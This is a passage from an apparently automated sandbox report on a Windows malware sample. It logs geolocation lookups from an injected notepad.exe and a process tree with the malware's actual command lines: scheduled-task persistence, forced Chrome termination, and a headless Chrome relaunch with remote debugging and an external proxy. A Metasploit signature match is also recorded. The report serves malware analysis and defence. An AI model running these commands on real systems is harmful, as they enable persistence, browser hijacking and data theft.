"Nueva

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49890	157.7.208.157	443	1852	C:\Windows\System32\notepad.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 08:10:51 UTC	97	OUT	GET /json HTTP/1.1 Host: inet-ip.info User-Agent: Go-http-client/1.1 Accept-Encoding: gzip
2024-12-27 08:10:52 UTC	159	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 27 Dec 2024 08:10:52 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close
2024-12-27 08:10:52 UTC	2220	IN	Data Raw: 38 61 30 0d 0a 7b 0a 20 22 69 70 41 64 64 72 65 73 73 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 0a 20 22 61 73 6e 22 3a 20 7b 0a 20 20 22 41 75 74 6f 6e 6f 6d 6f 75 73 53 79 73 74 65 6d 4e 75 6d 62 65 72 22 3a 20 33 33 35 36 2c 0a 20 20 22 41 75 74 6f 6e 6f 6d 6f 75 73 53 79 73 74 65 6d 4f 72 67 61 6e 69 7a 61 74 69 6f 6e 22 3a 20 22 4c 45 56 45 4c 33 22 0a 20 7d 2c 0a 20 22 63 69 74 79 22 3a 20 7b 0a 20 20 22 43 69 74 79 22 3a 20 7b 0a 20 20 20 22 47 65 6f 4e 61 6d 65 49 44 22 3a 20 35 31 32 38 35 38 31 2c 0a 20 20 20 22 4e 61 6d 65 73 22 3a 20 7b 0a 20 20 20 20 22 64 65 22 3a 20 22 4e 65 77 20 59 6f 72 6b 20 43 69 74 79 22 2c 0a 20 20 20 20 22 65 6e 22 3a 20 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 20 20 22 65 73 22 3a 20 22 4e 75 65 76 61 Data Ascii: 8a0{ "ipAddress": "8.46.123.189", "asn": { "AutonomousSystemNumber": 3356, "AutonomousSystemOrganization": "LEVEL3" }, "city": { "City": { "GeoNameID": 5128581, "Names": { "de": "New York City", "en": "New York", "es": "Nueva

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49896	157.7.208.157	443	1852	C:\Windows\System32\notepad.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 08:10:53 UTC	97	OUT	GET /json HTTP/1.1 Host: inet-ip.info User-Agent: Go-http-client/1.1 Accept-Encoding: gzip
2024-12-27 08:10:54 UTC	159	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 27 Dec 2024 08:10:54 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close
2024-12-27 08:10:54 UTC	2220	IN	Data Raw: 38 61 30 0d 0a 7b 0a 20 22 69 70 41 64 64 72 65 73 73 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 0a 20 22 61 73 6e 22 3a 20 7b 0a 20 20 22 41 75 74 6f 6e 6f 6d 6f 75 73 53 79 73 74 65 6d 4e 75 6d 62 65 72 22 3a 20 33 33 35 36 2c 0a 20 20 22 41 75 74 6f 6e 6f 6d 6f 75 73 53 79 73 74 65 6d 4f 72 67 61 6e 69 7a 61 74 69 6f 6e 22 3a 20 22 4c 45 56 45 4c 33 22 0a 20 7d 2c 0a 20 22 63 69 74 79 22 3a 20 7b 0a 20 20 22 43 69 74 79 22 3a 20 7b 0a 20 20 20 22 47 65 6f 4e 61 6d 65 49 44 22 3a 20 35 31 32 38 35 38 31 2c 0a 20 20 20 22 4e 61 6d 65 73 22 3a 20 7b 0a 20 20 20 20 22 64 65 22 3a 20 22 4e 65 77 20 59 6f 72 6b 20 43 69 74 79 22 2c 0a 20 20 20 20 22 65 6e 22 3a 20 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 20 20 22 65 73 22 3a 20 22 4e 75 65 76 61 Data Ascii: 8a0{ "ipAddress": "8.46.123.189", "asn": { "AutonomousSystemNumber": 3356, "AutonomousSystemOrganization": "LEVEL3" }, "city": { "City": { "GeoNameID": 5128581, "Names": { "de": "New York City", "en": "New York", "es": "Nueva

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49902	157.7.208.157	443	1852	C:\Windows\System32\notepad.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 08:10:56 UTC	97	OUT	GET /json HTTP/1.1 Host: inet-ip.info User-Agent: Go-http-client/1.1 Accept-Encoding: gzip
2024-12-27 08:10:56 UTC	159	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 27 Dec 2024 08:10:56 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close
2024-12-27 08:10:56 UTC	2220	IN	Data Raw: 38 61 30 0d 0a 7b 0a 20 22 69 70 41 64 64 72 65 73 73 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 0a 20 22 61 73 6e 22 3a 20 7b 0a 20 20 22 41 75 74 6f 6e 6f 6d 6f 75 73 53 79 73 74 65 6d 4e 75 6d 62 65 72 22 3a 20 33 33 35 36 2c 0a 20 20 22 41 75 74 6f 6e 6f 6d 6f 75 73 53 79 73 74 65 6d 4f 72 67 61 6e 69 7a 61 74 69 6f 6e 22 3a 20 22 4c 45 56 45 4c 33 22 0a 20 7d 2c 0a 20 22 63 69 74 79 22 3a 20 7b 0a 20 20 22 43 69 74 79 22 3a 20 7b 0a 20 20 20 22 47 65 6f 4e 61 6d 65 49 44 22 3a 20 35 31 32 38 35 38 31 2c 0a 20 20 20 22 4e 61 6d 65 73 22 3a 20 7b 0a 20 20 20 20 22 64 65 22 3a 20 22 4e 65 77 20 59 6f 72 6b 20 43 69 74 79 22 2c 0a 20 20 20 20 22 65 6e 22 3a 20 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 20 20 22 65 73 22 3a 20 22 4e 75 65 76 61 Data Ascii: 8a0{ "ipAddress": "8.46.123.189", "asn": { "AutonomousSystemNumber": 3356, "AutonomousSystemOrganization": "LEVEL3" }, "city": { "City": { "GeoNameID": 5128581, "Names": { "de": "New York City", "en": "New York", "es": "Nueva

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49929	157.7.208.157	443	280	C:\Windows\System32\notepad.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 08:11:08 UTC	97	OUT	GET /json HTTP/1.1 Host: inet-ip.info User-Agent: Go-http-client/1.1 Accept-Encoding: gzip
2024-12-27 08:11:08 UTC	159	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 27 Dec 2024 08:11:08 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close
2024-12-27 08:11:08 UTC	2220	IN	Data Raw: 38 61 30 0d 0a 7b 0a 20 22 69 70 41 64 64 72 65 73 73 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 0a 20 22 61 73 6e 22 3a 20 7b 0a 20 20 22 41 75 74 6f 6e 6f 6d 6f 75 73 53 79 73 74 65 6d 4e 75 6d 62 65 72 22 3a 20 33 33 35 36 2c 0a 20 20 22 41 75 74 6f 6e 6f 6d 6f 75 73 53 79 73 74 65 6d 4f 72 67 61 6e 69 7a 61 74 69 6f 6e 22 3a 20 22 4c 45 56 45 4c 33 22 0a 20 7d 2c 0a 20 22 63 69 74 79 22 3a 20 7b 0a 20 20 22 43 69 74 79 22 3a 20 7b 0a 20 20 20 22 47 65 6f 4e 61 6d 65 49 44 22 3a 20 35 31 32 38 35 38 31 2c 0a 20 20 20 22 4e 61 6d 65 73 22 3a 20 7b 0a 20 20 20 20 22 64 65 22 3a 20 22 4e 65 77 20 59 6f 72 6b 20 43 69 74 79 22 2c 0a 20 20 20 20 22 65 6e 22 3a 20 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 20 20 22 65 73 22 3a 20 22 4e 75 65 76 61 Data Ascii: 8a0{ "ipAddress": "8.46.123.189", "asn": { "AutonomousSystemNumber": 3356, "AutonomousSystemOrganization": "LEVEL3" }, "city": { "City": { "GeoNameID": 5128581, "Names": { "de": "New York City", "en": "New York", "es": "Nueva

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49936	157.7.208.157	443	280	C:\Windows\System32\notepad.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 08:11:11 UTC	97	OUT	GET /json HTTP/1.1 Host: inet-ip.info User-Agent: Go-http-client/1.1 Accept-Encoding: gzip
2024-12-27 08:11:12 UTC	159	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 27 Dec 2024 08:11:12 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close
2024-12-27 08:11:12 UTC	2220	IN	Data Raw: 38 61 30 0d 0a 7b 0a 20 22 69 70 41 64 64 72 65 73 73 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 0a 20 22 61 73 6e 22 3a 20 7b 0a 20 20 22 41 75 74 6f 6e 6f 6d 6f 75 73 53 79 73 74 65 6d 4e 75 6d 62 65 72 22 3a 20 33 33 35 36 2c 0a 20 20 22 41 75 74 6f 6e 6f 6d 6f 75 73 53 79 73 74 65 6d 4f 72 67 61 6e 69 7a 61 74 69 6f 6e 22 3a 20 22 4c 45 56 45 4c 33 22 0a 20 7d 2c 0a 20 22 63 69 74 79 22 3a 20 7b 0a 20 20 22 43 69 74 79 22 3a 20 7b 0a 20 20 20 22 47 65 6f 4e 61 6d 65 49 44 22 3a 20 35 31 32 38 35 38 31 2c 0a 20 20 20 22 4e 61 6d 65 73 22 3a 20 7b 0a 20 20 20 20 22 64 65 22 3a 20 22 4e 65 77 20 59 6f 72 6b 20 43 69 74 79 22 2c 0a 20 20 20 20 22 65 6e 22 3a 20 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 20 20 22 65 73 22 3a 20 22 4e 75 65 76 61 Data Ascii: 8a0{ "ipAddress": "8.46.123.189", "asn": { "AutonomousSystemNumber": 3356, "AutonomousSystemOrganization": "LEVEL3" }, "city": { "City": { "GeoNameID": 5128581, "Names": { "de": "New York City", "en": "New York", "es": "Nueva

Target ID:	0
Start time:	03:09:02
Start date:	27/12/2024
Path:	C:\Users\user\Desktop\0A7XTINw3R.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\0A7XTINw3R.exe"
Imagebase:	0x400000
File size:	5'129'728 bytes
MD5 hash:	FA3102D579B1B05B124C915605CDB7D8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Go lang
Yara matches:	Rule: Msfpayloads_msf_9, Description: Metasploit Payloads - file msf.war - contents, Source: 00000000.00000002.2257028867.000000C000C36000.00000004.00001000.00020000.00000000.sdmp, Author: Florian Roth
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	03:09:36
Start date:	27/12/2024
Path:	C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\winclock.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\winclock.exe
Imagebase:	0x400000
File size:	9'544'192 bytes
MD5 hash:	F5BADC8754C48F70B305C62050DFF950
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Go lang
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	03:09:37
Start date:	27/12/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks /create /tn RunUpdateNotificationSvc /tr \"C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\ddd06ef82d6d579523a798f429f6f5ae.bat\" /sc hourly /mo 3 /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	03:09:37
Start date:	27/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	03:09:37
Start date:	27/12/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks /run /tn RunUpdateNotificationSvc
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	03:09:37
Start date:	27/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	03:09:37
Start date:	27/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\SYSTEM32\cmd.exe /c ""C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\ddd06ef82d6d579523a798f429f6f5ae.bat""
Imagebase:	0x7ff66be20000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	03:09:37
Start date:	27/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	03:09:38
Start date:	27/12/2024
Path:	C:\Windows\System32\cscript.exe
Wow64 process (32bit):	false
Commandline:	cscript //nologo "e775357b2b21508be040c5b0f0c4c8e8.vbs"
Imagebase:	0x7ff764d10000
File size:	161'280 bytes
MD5 hash:	24590BF74BBBBFD7D7AC070F4E3C44FD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	03:09:39
Start date:	27/12/2024
Path:	C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\winclock.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\winclock.exe"
Imagebase:	0x400000
File size:	9'544'192 bytes
MD5 hash:	F5BADC8754C48F70B305C62050DFF950
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	Go lang
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	03:09:53
Start date:	27/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell Get-Process chrome \| Stop-Process -Force
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	03:09:53
Start date:	27/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	03:09:56
Start date:	27/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --headless=new --no-startup-window --profile-directory=Default --proxy-server=http://45.150.223.100:65140 --remote-debugging-port=37712 --use-mock-keychain "--user-data-dir=C:\Users\user\AppData\Local\Google\Chrome\User Data"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	03:09:56
Start date:	27/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	17
Start time:	03:09:56
Start date:	27/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --proxy-server=http://45.150.223.100:65140 --noerrdialogs --user-data-dir="C:\Users\user\AppData\Local\Google\Chrome\User Data" --mojo-platform-channel-handle=2216 --field-trial-handle=1968,i,13464842929730428422,1671638957188183847,262144 --disable-features=PaintHolding /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	03:09:58
Start date:	27/12/2024
Path:	C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\malnotify.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\malnotify.exe
Imagebase:	0x400000
File size:	5'088'256 bytes
MD5 hash:	2BECD73BF8437F366765B7F1D493A16F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Go lang
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	03:09:58
Start date:	27/12/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks /create /tn HiveUploadService /tr \"C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\0ee712ebb0d7b92b7244dfd3d3b5b50f.bat\" /sc onlogon /rl highest /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	03:09:58
Start date:	27/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	03:09:58
Start date:	27/12/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks /run /tn HiveUploadService
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	03:09:58
Start date:	27/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	03:09:58
Start date:	27/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\SYSTEM32\cmd.exe /c ""C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\0ee712ebb0d7b92b7244dfd3d3b5b50f.bat""
Imagebase:	0x7ff66be20000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	03:09:58
Start date:	27/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	03:09:59
Start date:	27/12/2024
Path:	C:\Windows\System32\cscript.exe
Wow64 process (32bit):	false
Commandline:	cscript //nologo "d42706bf42e64bbdfe3696dd11d9bad4.vbs"
Imagebase:	0x7ff764d10000
File size:	161'280 bytes
MD5 hash:	24590BF74BBBBFD7D7AC070F4E3C44FD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	03:09:59
Start date:	27/12/2024
Path:	C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\malnotify.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\malnotify.exe"
Imagebase:	0x400000
File size:	5'088'256 bytes
MD5 hash:	2BECD73BF8437F366765B7F1D493A16F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Go lang
Yara matches:	Rule: Msfpayloads_msf_9, Description: Metasploit Payloads - file msf.war - contents, Source: 0000001A.00000002.2525980469.000000C003724000.00000004.00001000.00020000.00000000.sdmp, Author: Florian Roth Rule: Msfpayloads_msf_9, Description: Metasploit Payloads - file msf.war - contents, Source: 0000001A.00000002.2509316872.000000C000200000.00000004.00001000.00020000.00000000.sdmp, Author: Florian Roth
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	03:10:20
Start date:	27/12/2024
Path:	C:\Windows\System32\notepad.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\notepad.exe"
Imagebase:	0x7ff7c9fc0000
File size:	201'216 bytes
MD5 hash:	27F71B12CB585541885A31BE22F61C83
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Go lang
Has exited:	false

Show Windows behavior

Target ID:	28
Start time:	03:10:20
Start date:	27/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command "(Get-WmiObject -Class Win32_ComputerSystemProduct).UUID"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	03:10:20
Start date:	27/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	03:10:21
Start date:	27/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command "(Get-WmiObject -Class Win32_OperatingSystem).Caption + ' ' + (Get-WmiObject -Class Win32_OperatingSystem).Version + ' ' + (Get-WmiObject -Class Win32_OperatingSystem).OSArchitecture + ' ' + (Get-WmiObject -Class Win32_OperatingSystem).BuildNumber"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	03:10:21
Start date:	27/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	03:10:22
Start date:	27/12/2024
Path:	C:\Windows\System32\notepad.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\notepad.exe"
Imagebase:	0x7ff7c9fc0000
File size:	201'216 bytes
MD5 hash:	27F71B12CB585541885A31BE22F61C83
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Go lang
Has exited:	false

Show Windows behavior

Target ID:	33
Start time:	03:10:22
Start date:	27/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command "(Get-WmiObject -Class Win32_ComputerSystemProduct).UUID"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 6888, Parent PID: 6892

General

Target ID:	34
Start time:	03:10:22
Start date:	27/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	03:10:24
Start date:	27/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command "(Get-WmiObject -Class Win32_OperatingSystem).Caption + ' ' + (Get-WmiObject -Class Win32_OperatingSystem).Version + ' ' + (Get-WmiObject -Class Win32_OperatingSystem).OSArchitecture + ' ' + (Get-WmiObject -Class Win32_OperatingSystem).BuildNumber"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 5132, Parent PID: 884

General

Target ID:	37
Start time:	03:10:24
Start date:	27/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	03:10:35
Start date:	27/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command "(Get-WmiObject -Class Win32_ComputerSystemProduct).UUID"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 2720, Parent PID: 5448

General

Target ID:	39
Start time:	03:10:35
Start date:	27/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	03:10:36
Start date:	27/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command "(Get-WmiObject -Class Win32_OperatingSystem).Caption + ' ' + (Get-WmiObject -Class Win32_OperatingSystem).Version + ' ' + (Get-WmiObject -Class Win32_OperatingSystem).OSArchitecture + ' ' + (Get-WmiObject -Class Win32_OperatingSystem).BuildNumber"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

